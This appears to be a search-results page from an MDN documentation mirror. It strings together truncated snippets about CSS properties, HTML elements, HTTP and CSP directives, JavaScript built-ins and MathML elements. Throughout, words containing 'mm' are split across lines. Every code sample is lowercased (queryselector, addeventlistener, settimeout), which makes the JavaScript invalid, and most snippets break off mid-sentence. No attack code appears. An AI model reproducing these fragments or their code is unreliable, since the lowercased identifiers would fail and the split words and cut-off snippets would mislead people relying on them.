...selector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)'; }, 2000) } }) result specifications specification status co
mment css transforms level 2the definition of '<transform-function>' in that specification.
transition-delay - CSS: Cascading Style Sheets
the delay may be zero, positive, or negative: a value of 0s (or 0ms) will begin the transition effect i
mmediately.
... a negative value will begin the transition effect i
mmediately, and partway through the effect.
...delay:4s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status co
mment css transitionsthe definition of 'transition-delay' in that specification.
unicode-bidi - CSS: Cascading Style Sheets
on-inline elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | embed | isolate | bidi-override | isolate-override | plaintext examples css .bible-quote { direction: rtl; unicode-bidi: embed; } html <div class="bible-quote"> a line of text </div> <div> another line of text </div> result specifications specification status co
mment css writing modes module level 3the definition of 'unicode-bidi' in that specification.
... proposed reco
mmendation added plaintext, isolate, and isolate-override keywords.
... reco
mmendation initial definition.
unset - CSS: Cascading Style Sheets
color: unset; } result border html <p>this text has a red border.</p> <div> <p>this text has a red border.</p> </div> <div class="bar"> <p>this text has a black border (initial default, not inherited).</p> </div> css div { border: 1px solid green; } p { border: 1px solid red; } .bar p { border-color: unset; } result specifications specification status co
mment css cascading and inheritance level 4the definition of 'unset' in that specification.
... candidate reco
mmendation no changes from level 3.
... candidate reco
mmendation initial definition.
vertical-align - CSS: Cascading Style Sheets
image with a text-bottom alignment.</div> <div>an <img class="middle" src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a middle alignment.</div> css img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } result specifications specification status co
mment css level 2 (revision 1)the definition of 'vertical-align' in that specification.
... reco
mmendation adds the <length> value and allows it to be applied to elements with a display type of table-cell.
... reco
mmendation initial definition.
visibility - CSS: Cascading Style Sheets
d>1.1</td> <td class="collapse">1.2</td> <td>1.3</td> </tr> <tr class="collapse"> <td>2.1</td> <td>2.2</td> <td>2.3</td> </tr> <tr> <td>3.1</td> <td>3.2</td> <td>3.3</td> </tr> </table> css .collapse { visibility: collapse; } table { border: 1px solid red; } td { border: 1px solid gray; } specifications specification status co
mment css flexible box layout modulethe definition of 'visibility' in that specification.
... candidate reco
mmendation defines the collapse value as it applies to flex items.
... reco
mmendation initial definition.
will-change - CSS: Cascading Style Sheets
the spec doesn't define the behavior of particular value, but it is co
mmon for transform to be a compositing layer hint.
...nt is hovered el.addeventlistener('mouseenter', hintbrowser); el.addeventlistener('animationend', removehint); function hintbrowser() { // the optimizable properties that are going to change // in the animation's keyframes block this.style.willchange = 'transform, opacity'; } function removehint() { this.style.willchange = 'auto'; } specifications specification status co
mment css will change module level 1the definition of 'will-change' in that specification.
... candidate reco
mmendation initial definition ...
word-spacing - CSS: Cascading Style Sheets
rst-letter and ::first-line.inheritedyespercentagesrefer to the width of the affected glyphcomputed valuean optimum, minimum, and maximum value, each consisting of either an absolute length, a percentage, or the keyword normalanimation typea length formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status co
mment css text module level 3the definition of 'word-spacing' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
writing-mode - CSS: Cascading Style Sheets
-lr; -webkit-writing-mode: sideways-lr; -ms-writing-mode: sideways-lr; } .example.text5 span, .example.text5 { writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; } result this image shows what the output should look like, in case your browser's support for writing-mode is incomplete: specifications specification status co
mment css writing modes level 4the definition of 'writing-mode' in that specification.
... candidate reco
mmendation add sideways-lr and sideways-rl css writing modes module level 3the definition of 'writing-mode' in that specification.
... proposed reco
mmendation initial definition ...
EXSLT
there are a number of modules; those that are supported by firefox are listed below: co
mmon (exsl)the exslt co
mmon package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
... </xsl:template> </xsl:stylesheet> co
mmon the exslt co
mmon package provides basic functions that expand upon the capabilities of xslt.
... the namespace for the co
mmon package is http://exslt.org/co
mmon.
WAI ARIA Live Regions/API Support - Developer guides
as always, we're open to questions and suggestions for changes in co
mmunity forums.
...ct about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed i
mmediately by children_change::add event_object_hide followed i
mmediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) ...
... text replaced text_changed::delete followed i
mmediately by text_changed::insert ia2_event_text_removed followed i
mmediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events.
Video player styling basics - Developer guides
preliminary modifications from the original example this section su
mmarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started.
... simple :hover and :focus states are then set for each button that simply alters the opacity of the button: .controls button:hover, .controls button:focus { opacity:0.5; } to obtain appropriate button images, a set of free co
mmon control set icons was downloaded from the web.
... javascript that's really it for the i
mmediate styling; the next task is making a number of javascript changes to ensure that everything works as expected.
Challenge solutions - Developer guides
solution css supports co
mmon color names like orange, yellow, blue, green, or black.
... readable css co
mmenting out a rule challenge co
mment out part of your stylesheet, without changing anything else, to make the very first letter of your document red.
... solution one way to do this is to put co
mment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font.
DOM onevent handlers - Developer guides
two co
mmon approaches are addeventlistener() and the specific onevent handlers.
... when discussing the various methods of listening to events: event listener refers to a function or object registered via eventtarget.addeventlistener() event handler refers to a function registered via on… attributes or properties specifications specification status co
mment html living standardthe definition of 'event handlers' in that specification.
... reco
mmendation browser compatibility detecting the presence of event handler properties you can detect the presence of an event handler property with the javascript in operator.
Event developer guide - Developer guides
the overview page provides an introduction to the design pattern and a su
mmary of the types of incidents which are defined and reacted to by modern web browsers.
...such events are co
mmonly called synthetic events, as opposed to the events fired by the browser itself.dom on-event handlersthe web platform provides several ways to get notified of dom events.
... two co
mmon styles are: the generalized addeventlistener() and a set of specific on-event handlers.media eventsvarious events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.mouse gesture eventsgecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures.
Writing forward-compatible websites - Developer guides
unfortunately, libraries are co
mmon transgressors of these guidelines.
... don't ua-sniff this is really a particularly co
mmon instance of assuming that one feature (the presence of a particular substring in the user agent (ua) string) implies something about the presence or absence of other features.
... browser-specific features and prefixes don't target hacks at current or future versions of browsers this is also a co
mmon instance of assuming that present correlation between bugs implies future correlation between bugs.
HTML attribute: readonly - HTML: Hypertext Markup Language
set> <legend>radio buttons</legend> <p><label> <input type="radio" name="radio" value="regular"> regular </label></p> <p><label> <input type="radio" name="radio" value="readonly" readonly> readonly </label></p> <p><label> <input type="radio" name="radio" value="disabled" disabled> disabled </label></p> </fieldset> specifications specification status co
mment html living standardthe definition of 'readonly attribute' in that specification.
... reco
mmendation html 5.1the definition of 'readonly attribute' in that specification.
... reco
mmendation ...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status co
mment html living standardthe definition of '<base>' in that specification.
... reco
mmendation specified the behavior of target html 4.01 specificationthe definition of '<base>' in that specification.
... reco
mmendation added the target attribute ...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
the carriers have an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output from this html snippet looks like this: specifications specification status co
mment html living standardthe definition of '<blockquote>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<blockquote>' in that specification.
... reco
mmendation ...
<xmp> - HTML: Hypertext Markup Language
su
mmary the html example element (<xmp>) renders text between the start and end tags without interpreting the html in between and using a monospaced font.
... the html2 specification reco
mmended that it should be rendered wide enough to allow 80 characters per line.
... attributes this element has no other attributes than the global attributes, co
mmon to all elements.
data-* - HTML: Hypertext Markup Language
specifications specification status co
mment html living standardthe definition of 'data-*' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'data-*' in that specification.
... reco
mmendation snapshot of html living standard, initial definition.
draggable - HTML: Hypertext Markup Language
specifications specification status co
mment html living standardthe definition of 'draggable' in that specification.
... reco
mmendation no change html 5.1the definition of 'draggable' in that specification.
... reco
mmendation snapshot of html living standard, initial definition ...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
the basics you most co
mmonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want.
... specifications specification status co
mment preloadthe definition of 'preload' in that specification.
... candidate reco
mmendation further details of preload.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
to ensure that your page uses full standards mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one reco
mmended by html5.
... earlier versions of the html standard reco
mmended other variants, but all existing browsers today will use full standards mode for this doctype, even the dated internet explorer 6.
...anything before the doctype, like a co
mment or an xml declaration will trigger quirks mode in internet explorer 9 and older.
HTTP authentication - HTTP
the syntax for these headers is the following: www-authenticate: <type> realm=<realm> proxy-authenticate: <type> realm=<realm> here, <type> is the authentication scheme ("basic" is the most co
mmon scheme and introduced below).
... the most co
mmon authentication scheme is the "basic" authentication scheme, which is introduced in more detail below.
...co
mmon authentication schemes include: basic see rfc 7617, base64-encoded credentials.
Data URLs - HTTP
encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the co
mmand-line base64 (or, as an alternative, the uuencode utility with -m argument).
... [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here co
mmon problems this section describes problems that co
mmonly occur when creating and using data urls.
... data:text/html,lots of text...<p><a name%3d"bottom">bottom</a>?arg=val this represents an html resource whose contents are: lots of text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a co
mma before the "data" segment, or to incorrectly encode the data into base64 format.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
the header itself accepts a co
mma-delineated list of origins, so adding a new origin is not difficult.
...the configuration is typically found in a .conf file (httpd.conf and apache.conf are co
mmon names for these), or in an .htaccess file.
... header set access-control-allow-origin 'origin-list' for nginx, the co
mmand to set up this header is: add_header 'access-control-allow-origin' 'origin-list' ...
Compression in HTTP - HTTP
for images, an image generated by a tool could be not optimized enough for the web; it is reco
mmended to use tools that will compress as much as possible with the required quality.
...nowadays, only two are relevant: gzip, the most co
mmon one, and br the new challenger.
... as compression brings significant performance improvements, it is reco
mmended to activate it for all files, but already compressed ones like images, audio files and videos.
Connection management in HTTP/1.x - HTTP
http pipelining http pipelining is not activated by default in modern browsers: buggy proxies are still co
mmon and these lead to strange and erratic behaviors that web developers cannot foresee and diagnose easily.
... domain sharding unless you have a very specific i
mmediate need, don't use this deprecated technique; switch to http/2 instead.
...default was once 2 to 3 connections, but this has now increased to a more co
mmon use of 6 parallel connections.
CSP: base-uri - HTTP
you can also specify data schemes (not reco
mmended).
... <meta http-equiv="content-security-policy" content="base-uri 'self'"> <base href="https://example.com/"> // error: refused to set the document's base uri to 'https://example.com/' // because it violates the following content security policy // directive: "base-uri 'self'" specifications specification status co
mment content security policy level 3the definition of 'base-uri' in that specification.
... reco
mmendation initial definition.
CSP: child-src - HTTP
you can also specify data schemas (not reco
mmended).
... examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status co
mment content security policy level 3the definition of 'child-src' in that specification.
... reco
mmendation initial definition.
CSP: connect-src - HTTP
you can also specify data schemes (not reco
mmended).
...}); </script> specifications specification status co
mment content security policy level 3the definition of 'connect-src' in that specification.
... reco
mmendation initial definition.
CSP: default-src - HTTP
you can also specify data schemes (not reco
mmended).
... frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src https://example.com; style-src 'self'; worker-src 'self' specifications specification status co
mment content security policy level 3the definition of 'default-src' in that specification.
... reco
mmendation initial definition.
CSP: font-src - HTTP
you can also specify data schemas (not reco
mmended).
... examples violation cases given this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src: url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status co
mment content security policy level 3the definition of 'font-src' in that specification.
... reco
mmendation initial definition.
CSP: form-action - HTTP
you can also specify data schemes (not reco
mmended).
... specifications specification status co
mment content security policy level 3the definition of 'form-action' in that specification.
... reco
mmendation initial definition.
CSP: frame-ancestors - HTTP
you can also specify data schemes (not reco
mmended).
... examples content-security-policy: frame-ancestors 'none'; content-security-policy: frame-ancestors 'self' https://www.example.org; specifications specification status co
mment content security policy level 3the definition of 'frame-ancestors' in that specification.
... reco
mmendation initial definition.
CSP: frame-src - HTTP
you can also specify data schemas (not reco
mmended).
... examples violation cases given this csp header: content-security-policy: frame-src https://example.com/ the following <iframe> is blocked and won't load: <iframe src="https://not-example.com/"></iframe> specifications specification status co
mment content security policy level 3the definition of 'frame-src' in that specification.
... reco
mmendation deprecates frame-src.
CSP: img-src - HTTP
you can also specify data schemes (not reco
mmended).
... examples violation cases given this csp header: content-security-policy: img-src https://example.com/ the following <img> is blocked and won't load: <img src="https://not-example.com/foo.jpg" alt="example picture"> specifications specification status co
mment content security policy level 3the definition of 'img-src' in that specification.
... reco
mmendation initial definition.
CSP: media-src - HTTP
you can also specify data schemas (not reco
mmended).
...on cases given this csp header: content-security-policy: media-src https://example.com/ the following <audio>, <video> and <track> elements are blocked and won't load: <audio src="https://not-example.com/audio"></audio> <video src="https://not-example.com/video"> <track kind="subtitles" src="https://not-example.com/subtitles"> </video> specifications specification status co
mment content security policy level 3the definition of 'media-src' in that specification.
... reco
mmendation initial definition.
CSP: style-src - HTTP
you can also specify data schemes (not reco
mmended).
...if 'unsafe-eval' isn't specified with the style-src directive, the following methods are blocked and won't have any effect: cssstylesheet.insertrule() cssgroupingrule.insertrule() cssstyledeclaration.csstext specifications specification status co
mment content security policy level 3the definition of 'style-src' in that specification.
... reco
mmendation initial definition.
CSP: upgrade-insecure-requests - HTTP
it is reco
mmended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http.
... specifications specification status co
mment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
... candidate reco
mmendation initial definition.
Index - HTTP
found 122 pages: # page tags and su
mmary 1 http headers http, http header, networking, overview, reference http headers allow the client and the server to pass additional information with the request or the response.
...(by languages, we mean natural languages, such as english, and not progra
mming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header.
... 99 server-timing http, performance, reference, header the server-timing header co
mmunicates one or more metrics and descriptions for a given request-response cycle.
HTTP request methods - HTTP
each of them implements a different semantic, but some co
mmon features are shared by a group of them: e.g.
... options the options method is used to describe the co
mmunication options for the target resource.
... specifications specification title co
mment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and content specifies get, head, post, put, delete, connect, options, trace.
HTTP response status codes - HTTP
it is nonco
mmittal, since there is no way in http to later send an asynchronous response indicating the outcome of the request.
...(there is no standardized way of choosing one of the responses, but html links to the possibilities are reco
mmended so the user can pick.) 301 moved permanently the url of the requested resource has been changed permanently.
...co
mmon causes are a server that is down for maintenance or that is overloaded.
HTTP
it was designed for co
mmunication between web browsers and web servers, but it can also be used for other purposes.
...web pages today very co
mmonly load cross-site resources, including css stylesheets, images, scripts, and other resources.
... http request methods the different operations that can be done with http: get, post, and also less co
mmon requests like options, delete, or trace.
Concurrency model and the event loop - JavaScript
here is an example that demonstrates this concept (settimeout does not run i
mmediately after its timer expires): const s = new date().getseconds(); settimeout(function() { // prints out "2", meaning that the callback is not called i
mmediately after 500 milliseconds.
...as a default time value of 0 console.log('this is just a message'); settimeout(function cb1() { console.log('callback 2: this is a msg from call back'); }, 0); console.log('this is the end'); })(); // "this is the start" // "this is just a message" // "this is the end" // "callback 1: this is a msg from call back" // "callback 2: this is a msg from call back" several runtimes co
mmunicating together a web worker or a cross-origin iframe has its own stack, heap, and message queue.
... two distinct runtimes can only co
mmunicate through sending messages via the postmessage method.
Regular expression syntax cheatsheet - JavaScript
if the multiline flag is set to true, also matches i
mmediately after a line break character.
...if the multiline flag is set to true, also matches i
mmediately before a line break character.
...for example, /e?le?/ matches the "el" in "angel" and the "le" in "angle." if used i
mmediately after any of the quantifiers *, +, ?, or {}, makes the quantifier non-greedy (matching the minimum number of times), as opposed to the default, which is greedy (matching the maximum number of times).
SyntaxError: missing } after property list - JavaScript
might be in fact a missing curly bracket, but could also be a missing co
mma.
...might be in fact a missing curly bracket, but could also be a missing co
mma, for example.
... examples forgotten co
mma oftentimes, there is a missing co
mma in your object initializer code: var obj = { a: 1, b: { myprop: 2 } c: 3 }; correct would be: var obj = { a: 1, b: { myprop: 2 }, c: 3 }; ...
Array.prototype.join() - JavaScript
the join() method creates and returns a new string by concatenating all of the elements in an array (or an array-like object), separated by co
mmas or a specified separator string.
...if omitted, the array elements are separated with a co
mma (",").
... examples joining an array four different ways the following example creates an array, a, with three elements, then joins the array four times: using the default separator, then a co
mma and a space, then a plus and an empty string.
Function.prototype.bind() - JavaScript
the partial implementation creates functions that do not have i
mmutable "poison pill" caller and arguments properties that throw a typeerror upon get, set, or deletion.
... a co
mmon mistake for new javascript progra
mmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code).
... the original object, neatly solves this problem: this.x = 9; // 'this' refers to global 'window' object here in a browser const module = { x: 81, getx: function() { return this.x; } }; module.getx(); // returns 81 const retrievex = module.getx; retrievex(); // returns 9; the function gets invoked at the global scope // create a new function with 'this' bound to module // new progra
mmers might confuse the // global variable 'x' with module's property 'x' const boundgetx = retrievex.bind(module); boundgetx(); // returns 81 partially applied functions the next simplest use of bind() is to make a function with pre-specified initial arguments.
JSON - JavaScript
objects and arrays property names must be double-quoted strings; trailing co
mmas are forbidden.
... consider this example where json.parse() parses the string as json and eval executes the string as javascript: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and having no provisions for undefined or co
mments.
... for those who wish to use a more human-friendly configuration format based on json, there is json5, used by the babel compiler, and the more co
mmonly used yaml.
Object.create() - JavaScript
this is especially true when debugging, since co
mmon object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors).
...for example: a simple co
mmon debugging function: // display top-level property name:value pairs of given object function showproperties(obj){ for(var prop in obj){ console.log(prop + ": " + obj[prop] + "\n" ); } } not such simple results: (especially if silent error-trapping had hidden the error messages) ob={}; ob.po=oco; ob.pn=ocn; // create a compound object using the test objects from above as property value...
... var obj = object.create({ a: 1, b: 2 }); > console.log(object.entries(obj)); // shows "[]" some non-solutions a good solution for the missing object-methods is not i
mmediately apparent.
Object.preventExtensions() - JavaScript
attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most co
mmonly, but not exclusively, when in strict mode).
... this method makes the [[prototype]] of the target i
mmutable; any [[prototype]] re-assignment will throw a typeerror.
...function fail() { 'use strict'; // throws a typeerror nonextensible.newproperty = 'fail'; } fail(); a non-extensible object's prototype is i
mmutable: var fixed = object.preventextensions({}); // throws a 'typeerror'.
Object.seal() - JavaScript
this has the effect of making the set of properties on the object fixed and i
mmutable.
...attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most co
mmonly, although not exclusively, when in strict mode code).
... comparison to object.freeze() existing properties in objects frozen with object.freeze() are made i
mmutable.
Set - JavaScript
lse } } return true } function union(seta, setb) { let _union = new set(seta) for (let elem of setb) { _union.add(elem) } return _union } function intersection(seta, setb) { let _intersection = new set() for (let elem of setb) { if (seta.has(elem)) { _intersection.add(elem) } } return _intersection } function sy
mmetricdifference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { if (_difference.has(elem)) { _difference.delete(elem) } else { _difference.add(elem) } } return _difference } function difference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { _difference.delete(elem) } ...
... return _difference } // examples let seta = new set([1, 2, 3, 4]) let setb = new set([2, 3]) let setc = new set([3, 4, 5, 6]) issuperset(seta, setb) // => true union(seta, setc) // => set [1, 2, 3, 4, 5, 6] intersection(seta, setc) // => set [3, 4] sy
mmetricdifference(seta, setc) // => set [1, 2, 5, 6] difference(seta, setc) // => set [1, 2] relation with array objects let myarray = ['value1', 'value2', 'value3'] // use the regular set constructor to transform an array into a set let myset = new set(myarray) myset.has('value1') // returns true // use the spread operator to transform a set into an array.
...actly the same array as myarray remove duplicate elements from the array // use to remove duplicate elements from the array const numbers = [2,3,4,4,2,3,3,4,4,5,5,6,6,7,5,32,3,4,5] console.log([...new set(numbers)]) // [2, 3, 4, 5, 6, 7, 32] relation with strings let text = 'india' let myset = new set(text) // set ['i', 'n', 'd', 'i', 'a'] myset.size // 5 //case sensitive & duplicate o
mmision new set("firefox") // set(7) [ "f", "i", "r", "e", "f", "o", "x" ] new set("firefox") // set(6) [ "f", "i", "r", "e", "o", "x" ] specifications specification ecmascript (ecma-262)the definition of 'set' in that specification.
TypedArray - JavaScript
on the following pages you will find co
mmon properties and methods that can be used with any typed array containing elements of any type.
... all typedarrays constructors inherit co
mmon properties from the %typedarray% constructor function.
...these objects all have a co
mmon syntax for their constructors: new typedarray(); new typedarray(length); new typedarray(typedarray); new typedarray(object); new typedarray(buffer [, byteoffset [, length]]); where typedarray is a constructor for one of the concrete types.
Optional chaining (?.) - JavaScript
using optional chaining with function calls causes the expression to automatically return undefined instead of throwing an exception if the method isn't found: let result = someinterface.custo
mmethod?.(); note: if there is a property with such a name and which is not a function, using ?.
... will still raise a typeerror exception (someinterface.custo
mmethod is not a function).
...at this position as well: someinterface?.custo
mmethod?.() dealing with optional callbacks or event handlers if you use callbacks or fetch methods from an object with a destructuring assignment, you may have non-existent values that you cannot call as functions unless you have tested their existence.
this - JavaScript
similarly, the this binding is only affected by the most i
mmediate member reference.
...the fact that the object is itself a member of o has no consequence; the most i
mmediate reference is all that matters.
... otherwise, * // the result of the expression is the object * // currently bound to |this| * // (i.e., the co
mmon case most usually seen).
async function - JavaScript
} async function concurrentstart() { console.log('==concurrent start with await=='); const slow = resolveafter2seconds() // starts timer i
mmediately const fast = resolveafter1second() // starts timer i
mmediately // 1.
...this runs 2 seconds after 1., i
mmediately after 2., since fast is already resolved } function concurrentpromise() { console.log('==concurrent start with promise.all==') return promise.all([resolveafter2seconds(), resolveafter1second()]).then((messages) => { console.log(messages[0]) // slow console.log(messages[1]) // fast }) } async function parallel() { console.log('==parallel with await promise.all==') // start 2 "jobs" in parallel and wait for both of them to complete await promise.all([ (async()=>console.log(await resolveafter2seconds()))(), (async()=>console.log(await resolveafter1second()))() ]) } sequentialstart() // a...
... this highlights the subtle difference between return foo; and return await foo; — return foo i
mmediately returns foo and never throws, even if foo is a promise that rejects.
const - JavaScript
it does not mean the value it holds is i
mmutable—just that the variable identifier cannot be reassigned.
... examples basic const usage constants can be declared with uppercase or lowercase, but a co
mmon convention is to use all-uppercase letters.
...my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object i
mmutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable.
with - JavaScript
use of the with statement is not reco
mmended, as it may be the source of confusing bugs and compatibility issues.
... using with is not reco
mmended, and is forbidden in ecmascript 5 strict mode.
... the reco
mmended alternative is to assign the object whose properties you want to access to a temporary variable.
Strict mode - JavaScript
sometimes this fixes the i
mmediate problem, but sometimes this creates worse problems in the future.
... second, in strict mode it's no longer possible to "walk" the javascript stack via co
mmonly-implemented extensions to ecmascript.
...but it is the reco
mmendation of the ecmascript co
mmittee, and browsers will implement it.
Web app manifests
can pwa manifest contain co
mments?
... it is a json-formatted file, with one exception: it is allowed to contain "//"-style co
mments.
... specifications specification status co
mment web app manifest working draft initial definition.
Values - MathML
(the "x"-height of the element, 1ex ≈ 0.5em in many fonts) px pixels in inches (1 inch = 2.54 centimeters) cm centimeters
mm millimeters pt points (1 point = 1/72 inch) pc picas (1 pica = 12 points) % percentage of the default value.
... constants a replacement for the deprecated constants below is: veryverythinmathspace => 0.05555555555555555em verythinmathspace => 0.1111111111111111em thinmathspace => 0.16666666666666666em mediu
mmathspace => 0.2222222222222222em thickmathspace => 0.2777777777777778em verythickmathspace => 0.3333333333333333em veryverythickmathspace => 0.3888888888888889em constant value veryverythinmathspace 1/18em verythinmathspace 2/18em thinmathspace 3/18em mediu
mmathspace 4/18em thickmathspace 5/18em verythickmathspace 6/18em veryverythickmathspace 7/18em negative contstants are introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey...
... 2.4) (bug 650530) negativeveryverythinmathspace -1/18em negativeverythinmathspace -2/18em negativethinmathspace -3/18em negativemediu
mmathspace -4/18em negativethickmathspace -5/18em negativeverythickmathspace -6/18em negativeveryverythickmathspace -7/18em note: namedspace binding is deprecated in mathml3 and has been removed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) (bug 673759).
<msub> - MathML
examples sample rendering: rendering in your browser: x 1 <math> <msub> <mi>x</mi> <mn>1</mn> </msub> </math> specifications specification status co
mment mathml 3.0the definition of 'msub' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'msub' in that specification.
... reco
mmendation initial specification ...
<msubsup> - MathML
examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <msubsup> <mo> ∫<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status co
mment mathml 3.0the definition of 'msubsup' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'msubsup' in that specification.
... reco
mmendation initial specification ...
<msup> - MathML
examples sample rendering: rendering in your browser: x 2 <math> <msup> <mi>x</mi> <mn>2</mn> </msup> </math> specifications specification status co
mment mathml 3.0the definition of 'msup' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'msup' in that specification.
... reco
mmendation initial specification ...
<mtable> - MathML
"solid" align="axis 3"> <mtr> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> </mtr> <mtr> <mtd><mi>e</mi></mtd> <mtd><mi>f</mi></mtd> </mtr> </mtable> </math> specifications specification status co
mment mathml 3.0the definition of 'mtable' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mtable' in that specification.
... reco
mmendation initial specification ...
<mtd> - MathML
specifications specification status co
mment mathml 3.0the definition of 'mtd' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mtd' in that specification.
... reco
mmendation initial specification ...
<mtr> - MathML
specifications specification status co
mment mathml 3.0the definition of 'mtr' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mtr' in that specification.
... reco
mmendation initial specification ...
<munder> - MathML
examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏟ <!--bottom curly bracket--> </mo> </munder> </math> specifications specification status co
mment mathml 3.0the definition of 'munder' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'munder' in that specification.
... reco
mmendation initial specification ...
<munderover> - MathML
examples sample rendering: rendering in your browser: ∫ 0 ∞ <math displaystyle="true"> <munderover > <mo> ∫ <!--integral--> </mo> <mn> 0 </mn> <mi> ∞ <!--infinity--> </mi> </munderover> </math> specifications specification status co
mment mathml 3.0the definition of 'munderover' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'munderover' in that specification.
... reco
mmendation initial specification ...
<semantics> - MathML
</ci> <cn type="integer">2</cn> </apply> <ci>y</ci> </apply> </annotation-xml> <!-- annotate an image --> <annotation encoding="image/png" src="some/path/formula.png"/> <!-- annotate tex --> <annotation encoding="application/x-tex"> x^{2} + y </annotation> </semantics> </math> specifications specification status co
mment mathml 3.0the definition of 'mixing markup languages for mathematical expressions' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'combining presentation and content markup ' in that specification.
... reco
mmendation initial specification ...
Privacy, permissions, and information security
these start at the web server, include the very co
mmunication layer used over the network, and then extend through the web browser's security offerings before reaching your web app code and the efforts it takes to secure itself and the data the user entrusts to it.
